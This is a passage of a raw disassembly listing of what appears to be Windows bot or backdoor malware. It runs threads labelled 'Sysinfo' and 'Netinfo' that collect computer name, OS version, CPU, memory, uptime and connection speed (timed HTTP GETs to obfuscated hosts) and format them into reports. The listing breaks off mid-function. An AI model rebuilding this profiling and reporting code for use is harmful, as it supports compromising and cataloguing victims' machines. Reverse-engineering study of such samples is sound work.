arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov eax, [ebp+arg_4] mov dl, [eax] cmp dl, 72h jnz short loc_405C13 cmp byte ptr [eax+1], 0 jnz short loc_405C13 push 0Ah push [ebp+arg_C] push 0FFh push 0 call sub_40B459 pop ecx pop ecx push eax call sub_41192A ; _itoa add esp, 0Ch jmp loc_405C97 ; --------------------------------------------------------------------------- loc_405C13: ; CODE XREF: sub_405BDF+Bj ; sub_405BDF+11j cmp dl, 73h jz short loc_405C1D cmp dl, 69h jnz short loc_405C7C loc_405C1D: ; CODE XREF: sub_405BDF+37j cmp byte ptr [eax+1], 0 jnz short loc_405C7C mov ecx, [ebp+arg_0] mov al, [ecx] test al, al jz short loc_405C5F cmp [ebp+arg_10], 0 jz short loc_405C58 push ebx push ecx call sub_41151C ; atoi mov ebx, eax push 0Ah push [ebp+arg_C] inc bl movzx eax, bl push eax call sub_41192A ; _itoa add esp, 10h xor eax, eax test bl, bl setz al pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_405C58: ; CODE XREF: sub_405BDF+51j test al, al jz short loc_405C5F push ecx jmp short loc_405C6E ; --------------------------------------------------------------------------- loc_405C5F: ; CODE XREF: sub_405BDF+4Bj ; sub_405BDF+7Bj cmp dl, 69h jnz short loc_405C6B push offset dword_413F58 jmp short loc_405C6E ; --------------------------------------------------------------------------- loc_405C6B: ; CODE XREF: sub_405BDF+83j push [ebp+arg_8] loc_405C6E: ; CODE XREF: sub_405BDF+7Ej ; sub_405BDF+8Aj push [ebp+arg_C] call sub_4114B8 ; _mbscpy pop ecx xor eax, eax pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_405C7C: ; CODE XREF: sub_405BDF+3Cj ; sub_405BDF+42j test dl, dl jnz short loc_405C87 mov eax, [ebp+arg_0] cmp [eax], dl jz short loc_405C8A loc_405C87: ; CODE XREF: sub_405BDF+9Fj push eax jmp short loc_405C8D ; --------------------------------------------------------------------------- loc_405C8A: ; CODE XREF: sub_405BDF+A6j push [ebp+arg_8] loc_405C8D: ; CODE XREF: sub_405BDF+A9j push [ebp+arg_C] call sub_4114B8 ; _mbscpy pop ecx pop ecx loc_405C97: ; CODE XREF: sub_405BDF+2Fj mov eax, [ebp+arg_10] pop ebp retn sub_405BDF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405C9C proc near ; CODE XREF: sub_40EE23+137p ; sub_40EE23+2F4p var_3C = byte ptr -3Ch var_38 = byte ptr -38h var_34 = byte ptr -34h var_30 = byte ptr -30h var_2C = byte ptr -2Ch var_28 = byte ptr -28h var_24 = byte ptr -24h var_20 = byte ptr -20h var_1C = byte ptr -1Ch var_18 = byte ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 3Ch lea eax, [ebp+var_8] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_2C] push eax push [ebp+arg_0] call sub_405B5B add esp, 14h test eax, eax jz short loc_405D07 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_28] push eax push [ebp+arg_4] call sub_405B5B add esp, 14h test eax, eax jz short loc_405D07 lea eax, [ebp+var_4] push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_24] push eax push offset dword_41A2E8 call sub_405B5B add esp, 14h test eax, eax jz short loc_405D07 cmp byte ptr [ebp+arg_0], 0 jnz short loc_405D0B loc_405D07: ; CODE XREF: sub_405C9C+23j ; sub_405C9C+42j ... xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_405D0B: ; CODE XREF: sub_405C9C+69j lea eax, [ebp+var_30] push 1 push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_8] push eax call sub_405BDF push eax lea eax, [ebp+var_34] push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_14] push eax call sub_405BDF push eax lea eax, [ebp+var_38] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_20] push eax call sub_405BDF push eax lea eax, [ebp+var_3C] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_28] push eax lea eax, [ebp+var_2C] push eax call sub_405BDF add esp, 50h lea eax, [ebp+var_30] push eax lea eax, [ebp+var_34] push eax lea eax, [ebp+var_38] push eax lea eax, [ebp+var_3C] push eax push offset dword_413F5C push [ebp+arg_8] call sub_4114DC ; sprintf add esp, 18h push 1 pop eax leave retn sub_405C9C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405D8C proc near ; CODE XREF: sub_40EE23+E6p var_20 = byte ptr -20h var_1C = byte ptr -1Ch var_18 = byte ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20h lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_10] push eax push [ebp+arg_0] call sub_405B5B add esp, 14h test eax, eax jz short loc_405DD2 lea eax, [ebp+var_20] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_14] push eax push offset dword_41A2E8 call sub_405B5B add esp, 14h test eax, eax jnz short loc_405DD6 loc_405DD2: ; CODE XREF: sub_405D8C+23j xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_405DD6: ; CODE XREF: sub_405D8C+44j cmp [ebp+var_10], 0 jnz short loc_405DEB lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax call sub_4114B8 ; _mbscpy pop ecx pop ecx loc_405DEB: ; CODE XREF: sub_405D8C+4Ej cmp [ebp+var_C], 0 jnz short loc_405E00 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_C] push eax call sub_4114B8 ; _mbscpy pop ecx pop ecx loc_405E00: ; CODE XREF: sub_405D8C+63j cmp [ebp+var_8], 0 jnz short loc_405E15 lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_8] push eax call sub_4114B8 ; _mbscpy pop ecx pop ecx loc_405E15: ; CODE XREF: sub_405D8C+78j cmp [ebp+var_4], 0 jnz short loc_405E2A lea eax, [ebp+var_20] push eax lea eax, [ebp+var_4] push eax call sub_4114B8 ; _mbscpy pop ecx pop ecx loc_405E2A: ; CODE XREF: sub_405D8C+8Dj lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_10] push eax push offset dword_413F5C push [ebp+arg_0] call sub_4114DC ; sprintf add esp, 18h push 1 pop eax leave retn sub_405D8C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405E4F proc near ; CODE XREF: sub_4058EE+41p ; sub_4058EE+75p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_0] test eax, eax jz short loc_405E5E mov ecx, [ebp+arg_8] mov [ecx], eax loc_405E5E: ; CODE XREF: sub_405E4F+8j mov eax, [ebp+arg_8] push ebx push esi push edi mov ecx, [eax] mov edi, [ebp+arg_4] mov al, [ecx] test al, al jz short loc_405E92 mov bl, [edi] loc_405E71: ; CODE XREF: sub_405E4F+41j test bl, bl mov esi, edi jz short loc_405E85 mov dl, bl loc_405E79: ; CODE XREF: sub_405E4F+34j cmp dl, al jz short loc_405E85 mov dl, [esi+1] inc esi test dl, dl jnz short loc_405E79 loc_405E85: ; CODE XREF: sub_405E4F+26j ; sub_405E4F+2Cj cmp byte ptr [esi], 0 jz short loc_405E92 mov al, [ecx+1] inc ecx test al, al jnz short loc_405E71 loc_405E92: ; CODE XREF: sub_405E4F+1Ej ; sub_405E4F+39j cmp byte ptr [ecx], 0 mov edx, ecx mov esi, edi jz short loc_405EB5 loc_405E9B: ; CODE XREF: sub_405E4F+5Ej mov al, [edx] cmp al, [esi] jz short loc_405EB1 inc esi cmp byte ptr [esi], 0 jnz short loc_405EAA mov esi, edi inc edx loc_405EAA: ; CODE XREF: sub_405E4F+56j cmp byte ptr [edx], 0 jnz short loc_405E9B jmp short loc_405EB5 ; --------------------------------------------------------------------------- loc_405EB1: ; CODE XREF: sub_405E4F+50j and byte ptr [edx], 0 inc edx loc_405EB5: ; CODE XREF: sub_405E4F+4Aj ; sub_405E4F+60j mov eax, [ebp+arg_8] pop edi pop esi pop ebx mov [eax], edx mov eax, ecx sub eax, edx neg eax sbb eax, eax and eax, ecx pop ebp retn sub_405E4F endp ; =============== S U B R O U T I N E ======================================= sub_405EC9 proc near ; CODE XREF: sub_405ECC:loc_405ED6p ; sub_405ECC+1Ep rdtsc retn sub_405EC9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405ECC proc near ; CODE XREF: sub_405FF3+271p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi xor esi, esi loc_405ED6: ; CODE XREF: sub_405ECC+42j ; sub_405ECC+4Cj call sub_405EC9 push 3E8h mov edi, eax mov ebx, edx call dword_4120A4 ; Sleep call sub_405EC9 sub eax, edi push esi sbb edx, ebx push 186A0h push edx push eax call sub_411610 push esi push 0Ah push edx push eax call sub_411610 cmp edx, esi mov edi, eax ja short loc_405ED6 jb short loc_405F1A cmp edi, 0F4240h ja short loc_405ED6 loc_405F1A: ; CODE XREF: sub_405ECC+44j push esi push 64h push edx push edi call sub_411590 push 64h mov ecx, eax cmp edx, esi pop eax mov [ebp+var_4], esi ja short loc_405F91 jb short loc_405F37 cmp ecx, 50h jnb short loc_405F3D loc_405F37: ; CODE XREF: sub_405ECC+64j push 4Bh mov [ebp+var_4], esi pop eax loc_405F3D: ; CODE XREF: sub_405ECC+69j cmp edx, esi ja short loc_405F91 jb short loc_405F48 cmp ecx, 47h jnb short loc_405F4E loc_405F48: ; CODE XREF: sub_405ECC+75j push 42h mov [ebp+var_4], esi pop eax loc_405F4E: ; CODE XREF: sub_405ECC+7Aj cmp edx, esi ja short loc_405F91 jb short loc_405F59 cmp ecx, 37h jnb short loc_405F5F loc_405F59: ; CODE XREF: sub_405ECC+86j push 32h mov [ebp+var_4], esi pop eax loc_405F5F: ; CODE XREF: sub_405ECC+8Bj cmp edx, esi ja short loc_405F91 jb short loc_405F6A cmp ecx, 26h jnb short loc_405F70 loc_405F6A: ; CODE XREF: sub_405ECC+97j push 21h mov [ebp+var_4], esi pop eax loc_405F70: ; CODE XREF: sub_405ECC+9Cj cmp edx, esi ja short loc_405F91 jb short loc_405F7B cmp ecx, 1Eh jnb short loc_405F81 loc_405F7B: ; CODE XREF: sub_405ECC+A8j push 19h mov [ebp+var_4], esi pop eax loc_405F81: ; CODE XREF: sub_405ECC+ADj cmp edx, esi ja short loc_405F91 jb short loc_405F8C cmp ecx, 0Ah jnb short loc_405F91 loc_405F8C: ; CODE XREF: sub_405ECC+B9j xor eax, eax mov [ebp+var_4], esi loc_405F91: ; CODE XREF: sub_405ECC+62j ; sub_405ECC+73j ... sub eax, ecx add eax, edi pop edi pop esi pop ebx leave retn sub_405ECC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405F9A proc near ; CODE XREF: sub_409277+15Ap ; sub_409918+2AFp arg_0 = dword ptr 8 push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push edi mov edi, dword_412038 push 1Fh push esi push 7 push 400h call edi ; GetLocaleInfoA neg eax sbb eax, eax mov byte ptr [esi+3], 0 neg eax mov [ebp+arg_0], eax jz short loc_405FD9 push offset off_414108 push esi call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jz short loc_405FD9 push 1 pop eax jmp short loc_405FEF ; --------------------------------------------------------------------------- loc_405FD9: ; CODE XREF: sub_405F9A+27j ; sub_405F9A+38j push 1Fh push esi push 7 push 800h call edi ; GetLocaleInfoA neg eax sbb eax, eax neg eax and byte ptr [esi+3], 0 loc_405FEF: ; CODE XREF: sub_405F9A+3Dj pop edi pop esi pop ebp retn sub_405F9A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405FF3 proc near ; DATA XREF: sub_4062CF+29o var_72C = byte ptr -72Ch var_32C = dword ptr -32Ch var_328 = byte ptr -328h var_184 = dword ptr -184h var_180 = dword ptr -180h var_17C = dword ptr -17Ch var_178 = byte ptr -178h var_105 = byte ptr -105h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh var_F8 = dword ptr -0F8h var_F4 = dword ptr -0F4h var_F0 = byte ptr -0F0h var_70 = byte ptr -70h var_68 = dword ptr -68h var_64 = dword ptr -64h var_50 = byte ptr -50h var_38 = byte ptr -38h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 72Ch push ebx push esi push edi push 1A7h push [ebp+arg_0] lea eax, [ebp+var_32C] push eax call sub_4114D0 ; memcpy push [ebp+arg_0] call sub_4114CA ; free add esp, 10h lea eax, [ebp+var_70] push eax call dword_41207C ; GlobalMemoryStatus mov eax, [ebp+var_68] lea esi, [eax+100000h] mov eax, [ebp+var_64] add eax, 100000h shr eax, 14h shr esi, 14h mov [ebp+var_24], eax call sub_406AB7 mov ecx, 15180h xor edx, edx mov ebx, ecx mov edi, eax div ebx xor edx, edx push 3Ch mov [ebp+var_8], 15h mov [ebp+var_C], 10h mov [ebp+var_18], eax mov eax, edi div ecx mov ecx, 0E10h mov ebx, ecx mov edi, edx xor edx, edx mov eax, edi div ebx xor edx, edx mov [ebp+var_10], eax mov eax, edi div ecx pop ecx mov eax, edx xor edx, edx div ecx mov [ebp+arg_0], eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_50] push eax call dword_412018 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_38] push eax call dword_412030 ; GetComputerNameA push 24h xor eax, eax pop ecx lea edi, [ebp+var_100] mov [ebp+var_104], 94h rep stosd lea eax, [ebp+var_104] push eax call dword_412034 ; GetVersionExA cmp [ebp+var_100], 4 mov edi, offset a? ; "?" mov [ebp+var_1C], offset aNoSp ; "no SP" jnz short loc_40612B cmp [ebp+var_FC], 0 jnz short loc_40610B cmp [ebp+var_F4], 1 jnz short loc_4060FB mov edi, offset a95 ; "95" loc_4060FB: ; CODE XREF: sub_405FF3+101j cmp [ebp+var_F4], 2 jnz short loc_40617D mov edi, offset aNt ; "NT" jmp short loc_40616B ; --------------------------------------------------------------------------- loc_40610B: ; CODE XREF: sub_405FF3+F8j cmp [ebp+var_FC], 0Ah jnz short loc_40611B mov edi, offset a98 ; "98" jmp short loc_406162 ; --------------------------------------------------------------------------- loc_40611B: ; CODE XREF: sub_405FF3+11Fj cmp [ebp+var_FC], 5Ah jnz short loc_406162 mov edi, offset aMe ; "ME" jmp short loc_406162 ; --------------------------------------------------------------------------- loc_40612B: ; CODE XREF: sub_405FF3+EFj cmp [ebp+var_100], 5 jnz short loc_406162 cmp [ebp+var_FC], 0 jnz short loc_406144 mov edi, offset a2000 ; "2000" jmp short loc_406162 ; --------------------------------------------------------------------------- loc_406144: ; CODE XREF: sub_405FF3+148j cmp [ebp+var_FC], 1 jnz short loc_406154 mov edi, offset aXp ; "XP" jmp short loc_406162 ; --------------------------------------------------------------------------- loc_406154: ; CODE XREF: sub_405FF3+158j cmp [ebp+var_FC], 2 jnz short loc_406162 mov edi, offset a2003 ; "2003" loc_406162: ; CODE XREF: sub_405FF3+126j ; sub_405FF3+12Fj ... cmp [ebp+var_F4], 2 jnz short loc_40617D loc_40616B: ; CODE XREF: sub_405FF3+116j cmp [ebp+var_F0], 0 jz short loc_40617D lea eax, [ebp+var_F0] mov [ebp+var_1C], eax loc_40617D: ; CODE XREF: sub_405FF3+10Fj ; sub_405FF3+176j ... call sub_40338B test eax, eax mov [ebp+var_14], offset aYes ; "Yes" jnz short loc_406194 mov [ebp+var_14], offset aNo ; "No" loc_406194: ; CODE XREF: sub_405FF3+198j and [ebp+var_178], 0 and [ebp+var_105], 0 xor eax, eax cpuid mov [ebp+var_184], ebx mov [ebp+var_180], edx mov [ebp+var_17C], ecx lea eax, [ebp+var_4] xor ebx, ebx push eax push 20019h push ebx push offset aHardwareDescri ; "HARDWARE\\DESCRIPTION\\System\\CentralProc"... push 80000002h mov [ebp+var_4], ebx call dword_412000 test eax, eax jnz short loc_406223 lea eax, [ebp+var_28] mov [ebp+var_20], ebx push eax lea eax, [ebp+var_184] push eax lea eax, [ebp+var_20] push eax push ebx push offset aProcessornames ; "ProcessorNameString" mov [ebp+var_28], 80h push [ebp+var_4] call dword_41200C test eax, eax jnz short loc_40621A push 1 lea eax, [ebp+var_184] push 1 push eax call sub_405AD6 add esp, 0Ch loc_40621A: ; CODE XREF: sub_405FF3+212j push [ebp+var_4] call dword_412028 loc_406223: ; CODE XREF: sub_405FF3+1E6j cmp [ebp+arg_0], 1 mov ecx, offset byte_4191D0 mov eax, offset dword_4141FC mov ebx, ecx jz short loc_406237 mov ebx, eax loc_406237: ; CODE XREF: sub_405FF3+240j cmp [ebp+var_10], 1 mov edx, ecx jz short loc_406241 mov edx, eax loc_406241: ; CODE XREF: sub_405FF3+24Aj cmp [ebp+var_18], 1 jnz short loc_406249 mov eax, ecx loc_406249: ; CODE XREF: sub_405FF3+252j lea ecx, [ebp+var_50] push ecx lea ecx, [ebp+var_38] push ecx push ebx push [ebp+arg_0] push edx push [ebp+var_10] push eax push [ebp+var_18] push [ebp+var_14] push esi push [ebp+var_24] call sub_405ECC push eax lea eax, [ebp+var_184] push eax lea eax, [ebp+var_72C] push [ebp+var_F8] push [ebp+var_FC] push [ebp+var_100] push [ebp+var_1C] push edi push offset dword_41410C push 400h push eax call sub_41152E ; _snprintf add esp, 54h lea eax, [ebp+var_72C] push eax lea eax, [ebp+var_328] push offset dword_413B6C push eax call sub_4096CB push [ebp+var_32C] call sub_406E6F add esp, 10h xor eax, eax pop edi pop esi pop ebx leave retn 4 sub_405FF3 endp ; =============== S U B R O U T I N E ======================================= sub_4062CF proc near ; CODE XREF: sub_407A76+125Dp arg_0 = dword ptr 4 push esi push 1A7h call sub_4114C4 ; malloc mov esi, eax pop ecx test esi, esi jz short loc_406305 push [esp+4+arg_0] lea eax, [esi+4] push eax call sub_40457C pop ecx pop ecx push offset aSysinfoThread ; "Sysinfo thread" push 0 push esi push offset sub_405FF3 call sub_406D58 add esp, 10h loc_406305: ; CODE XREF: sub_4062CF+10j pop esi retn sub_4062CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406307 proc near ; CODE XREF: sub_406373+Ap ; sub_406373+18p ... var_20 = byte ptr -20h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20h push esi push edi push [ebp+arg_0] lea eax, [ebp+var_20] push eax call sub_4114B8 ; _mbscpy lea eax, [ebp+var_20] push eax call sub_40B5E1 call sub_4114E2 ; clock mov edi, eax push 7D0h push 0 lea eax, [ebp+var_20] push offset a80 ; "80" push eax call sub_403C04 mov esi, eax push esi call sub_403D92 add esp, 20h test esi, esi jnz short loc_406356 mov eax, 3E8h jmp short loc_40636F ; --------------------------------------------------------------------------- loc_406356: ; CODE XREF: sub_406307+46j call sub_4114E2 ; clock mov ecx, eax mov eax, 3E8h sub ecx, edi cmp ecx, eax jnb short loc_40636F call sub_4114E2 ; clock sub eax, edi loc_40636F: ; CODE XREF: sub_406307+4Dj ; sub_406307+5Fj pop edi pop esi leave retn sub_406307 endp ; =============== S U B R O U T I N E ======================================= sub_406373 proc near ; CODE XREF: sub_40656A:loc_4066A5p ; sub_408E1A+15Cp ... var_18 = dword ptr -18h var_4 = dword ptr -4 push ecx push ebx push ebp push esi push edi push offset dword_413F68 call sub_406307 mov esi, eax mov [esp+18h+var_18], offset aIQBgEFSsoR ; "©¹ïÕ¡ƒÌ…ØäœééŽË" call sub_406307 mov edi, eax mov [esp+18h+var_18], offset dword_413F8C call sub_406307 mov ebx, eax mov [esp+18h+var_18], offset dword_413F98 call sub_406307 mov ebp, eax mov [esp+18h+var_18], offset dword_413FA8 call sub_406307 mov [esp+18h+var_4], eax mov [esp+18h+var_18], offset dword_413FB8 call sub_406307 add eax, [esp+18h+var_4] pop ecx push 6 xor edx, edx add eax, ebp pop ecx add eax, ebx add eax, edi pop edi add eax, esi pop esi pop ebp pop ebx div ecx pop ecx retn sub_406373 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4063E4 proc near ; CODE XREF: sub_40656A:loc_4066CAp var_414 = byte ptr -414h var_214 = byte ptr -214h var_114 = byte ptr -114h var_14 = qword ptr -14h var_C = qword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 414h push ebx xor ebx, ebx xor eax, eax cmp off_413FCC, ebx push esi push edi jz short loc_406409 mov ecx, offset off_413FCC loc_406401: ; CODE XREF: sub_4063E4+23j add ecx, 4 inc eax cmp [ecx], ebx jnz short loc_406401 loc_406409: ; CODE XREF: sub_4063E4+16j shr eax, 1 mov [ebp+var_4], ebx lea edi, [eax-1] jmp short loc_406415 ; --------------------------------------------------------------------------- loc_406413: ; CODE XREF: sub_4063E4+A0j xor ebx, ebx loc_406415: ; CODE XREF: sub_4063E4+2Dj push edi push ebx call sub_40B459 mov esi, eax lea eax, [ebp+var_114] shl esi, 3 push off_413FCC[esi] push eax call sub_4114B8 ; _mbscpy lea eax, [ebp+var_114] push eax call sub_40B5E1 push off_413FD0[esi] lea eax, [ebp+var_214] push eax call sub_4114B8 ; _mbscpy lea eax, [ebp+var_214] push eax call sub_40B5E1 push 2710h push ebx lea eax, [ebp+var_114] push offset a80 ; "80" push eax call sub_403C04 mov ebx, eax add esp, 30h test ebx, ebx jnz short loc_40648B inc [ebp+var_4] cmp [ebp+var_4], 3 jb short loc_406413 loc_406486: ; CODE XREF: sub_4063E4+181j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40648B: ; CODE XREF: sub_4063E4+97j lea eax, [ebp+var_114] mov esi, 200h push eax lea eax, [ebp+var_214] push eax push offset aGetSHttp1_0Hos ; "GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n" lea eax, [ebp+var_414] push esi push eax call sub_41152E ; _snprintf lea eax, [ebp+var_414] push eax call sub_4114BE ; strlen push eax lea eax, [ebp+var_414] push eax push ebx call sub_403D9D add esp, 24h call sub_4114E2 ; clock and [ebp+var_4], 0 mov dword ptr [ebp+var_14+4], eax mov edi, 1388h loc_4064DE: ; CODE XREF: sub_4063E4+134j ; sub_4063E4+147j push edi lea eax, [ebp+var_414] push esi push eax push ebx call sub_403DF6 add esp, 10h mov dword ptr [ebp+var_C+4], eax test eax, eax jz short loc_40651A cmp eax, 0FFFFFFFFh jz short loc_40651A call sub_4114E2 ; clock sub eax, dword ptr [ebp+var_14+4] cmp eax, edi jnb short loc_40651A mov eax, [ebp+var_4] cmp eax, 100000h jnb short loc_40651A add eax, dword ptr [ebp+var_C+4] mov [ebp+var_4], eax jmp short loc_4064DE ; --------------------------------------------------------------------------- loc_40651A: ; CODE XREF: sub_4063E4+111j ; sub_4063E4+116j ... mov eax, [ebp+var_4] cmp eax, 2000h jnb short loc_40652D push ebx call sub_403D70 pop ecx jmp short loc_4064DE ; --------------------------------------------------------------------------- loc_40652D: ; CODE XREF: sub_4063E4+13Ej and dword ptr [ebp+var_C+4], 0 mov dword ptr [ebp+var_C], eax fild [ebp+var_C] fstp dword ptr [ebp+var_C+4] call sub_4114E2 ; clock sub eax, dword ptr [ebp+var_14+4] and dword ptr [ebp+var_14+4], 0 mov dword ptr [ebp+var_14], eax fild [ebp+var_14] fmul flt_412280 fdivr dword ptr [ebp+var_C+4] call sub_411678 ; _ftol push ebx mov esi, eax call sub_403D70 pop ecx mov eax, esi jmp loc_406486 sub_4063E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40656A proc near ; DATA XREF: sub_40677A+29o var_A80 = qword ptr -0A80h var_A54 = byte ptr -0A54h var_654 = byte ptr -654h var_250 = dword ptr -250h var_24C = byte ptr -24Ch var_A8 = byte ptr -0A8h var_28 = byte ptr -28h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A54h push ebx push esi push edi push 1A7h push [ebp+arg_0] lea eax, [ebp+var_250] push eax call sub_4114D0 ; memcpy push [ebp+arg_0] call sub_4114CA ; free mov esi, offset dword_41A2E8 lea eax, [ebp+var_654] push esi push eax call sub_4114B8 ; _mbscpy add esp, 18h lea eax, [ebp+var_C] xor edi, edi push eax push edi push edi push esi call dword_419224 test eax, eax jnz short loc_4065E2 push 1 push edi push edi lea eax, [ebp+var_654] push 401h push eax mov eax, [ebp+var_C] push dword ptr [eax+10h] push dword ptr [eax+18h] call dword_419228 push [ebp+var_C] call dword_41922C loc_4065E2: ; CODE XREF: sub_40656A+4Ej call sub_406B29 mov ecx, 15180h xor edx, edx mov ebx, ecx mov esi, eax div ebx xor edx, edx push 3Ch mov dword ptr [ebp+var_8+4], eax mov eax, esi div ecx mov ecx, 0E10h mov ebx, ecx mov esi, edx xor edx, edx mov eax, esi div ebx xor edx, edx mov [ebp+var_14], eax mov eax, esi div ecx pop ecx mov esi, offset aUnknown_0 ; "Unknown" push esi mov eax, edx xor edx, edx div ecx mov [ebp+arg_0], eax lea eax, [ebp+var_A8] push eax call sub_4114B8 ; _mbscpy lea eax, [ebp+var_28] push esi push eax call sub_4114B8 ; _mbscpy mov eax, dword_41921C add esp, 10h cmp eax, edi jz short loc_40667D push edi lea ecx, [ebp+var_A8] push 80h push ecx lea ecx, [ebp+var_1C] push ecx call eax test eax, eax jz short loc_40667D test [ebp+var_1C], 1 jz short loc_40666D push offset aModem ; "Modem" jmp short loc_406672 ; --------------------------------------------------------------------------- loc_40666D: ; CODE XREF: sub_40656A+FAj push offset aLan ; "LAN" loc_406672: ; CODE XREF: sub_40656A+101j lea eax, [ebp+var_28] push eax call sub_4114B8 ; _mbscpy pop ecx pop ecx loc_40667D: ; CODE XREF: sub_40656A+DDj ; sub_40656A+F4j call sub_4033F9 mov edi, offset aYes ; "Yes" mov esi, offset aNo ; "No" test eax, eax mov [ebp+var_18], edi jnz short loc_406696 mov [ebp+var_18], esi loc_406696: ; CODE XREF: sub_40656A+127j call sub_4032D2 test eax, eax mov [ebp+var_10], edi jnz short loc_4066A5 mov [ebp+var_10], esi loc_4066A5: ; CODE XREF: sub_40656A+136j call sub_406373 cmp eax, 2EEh mov [ebp+var_20], eax mov ebx, offset aBad ; "Bad" jnb short loc_4066BE mov ebx, offset aAvarage ; "Avarage" loc_4066BE: ; CODE XREF: sub_40656A+14Dj cmp eax, 1F4h jnb short loc_4066CA mov ebx, offset aGood ; "Good" loc_4066CA: ; CODE XREF: sub_40656A+159j call sub_4063E4 cmp [ebp+arg_0], 1 mov edx, offset byte_4191D0 mov ecx, offset dword_4141FC mov edi, edx jz short loc_4066E3 mov edi, ecx loc_4066E3: ; CODE XREF: sub_40656A+175j cmp [ebp+var_14], 1 mov esi, edx jz short loc_4066ED mov esi, ecx loc_4066ED: ; CODE XREF: sub_40656A+17Fj cmp dword ptr [ebp+var_8+4], 1 jnz short loc_4066F5 mov ecx, edx loc_4066F5: ; CODE XREF: sub_40656A+187j push edi mov dword ptr [ebp+var_8], eax push [ebp+arg_0] lea eax, [ebp+var_28] push esi push [ebp+var_14] push ecx push dword ptr [ebp+var_8+4] and dword ptr [ebp+var_8+4], 0 fild [ebp+var_8] push ecx push ecx fmul flt_412284 fstp [esp+0A80h+var_A80] push [ebp+var_20] push ebx push [ebp+var_10] push [ebp+var_18] push eax lea eax, [ebp+var_A8] push eax lea eax, [ebp+var_654] push eax push offset dword_41428C lea eax, [ebp+var_A54] push 400h push eax call sub_41152E ; _snprintf add esp, 48h lea eax, [ebp+var_A54] push eax lea eax, [ebp+var_24C] push offset dword_413B6C push eax call sub_4096CB push [ebp+var_250] call sub_406E6F add esp, 10h xor eax, eax pop edi pop esi pop ebx leave retn 4 sub_40656A endp ; =============== S U B R O U T I N E ======================================= sub_40677A proc near ; CODE XREF: sub_407A76+124Cp arg_0 = dword ptr 4 push esi push 1A7h call sub_4114C4 ; malloc mov esi, eax pop ecx test esi, esi jz short loc_4067B0 push [esp+4+arg_0] lea eax, [esi+4] push eax call sub_40457C pop ecx pop ecx push offset aNetinfoThread ; "Netinfo thread" push 0 push esi push offset sub_40656A call sub_406D58 add esp, 10h loc_4067B0: ; CODE XREF: sub_40677A+10j pop esi retn sub_40677A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4067B2 proc near ; CODE XREF: sub_408E1A+141p ; sub_408E1A+213p ... var_1C = byte ptr -1Ch var_14 = byte ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 1Ch mov eax, dword_4143A0 push esi mov [ebp+var_4], eax xor esi, esi loc_4067C3: ; CODE XREF: 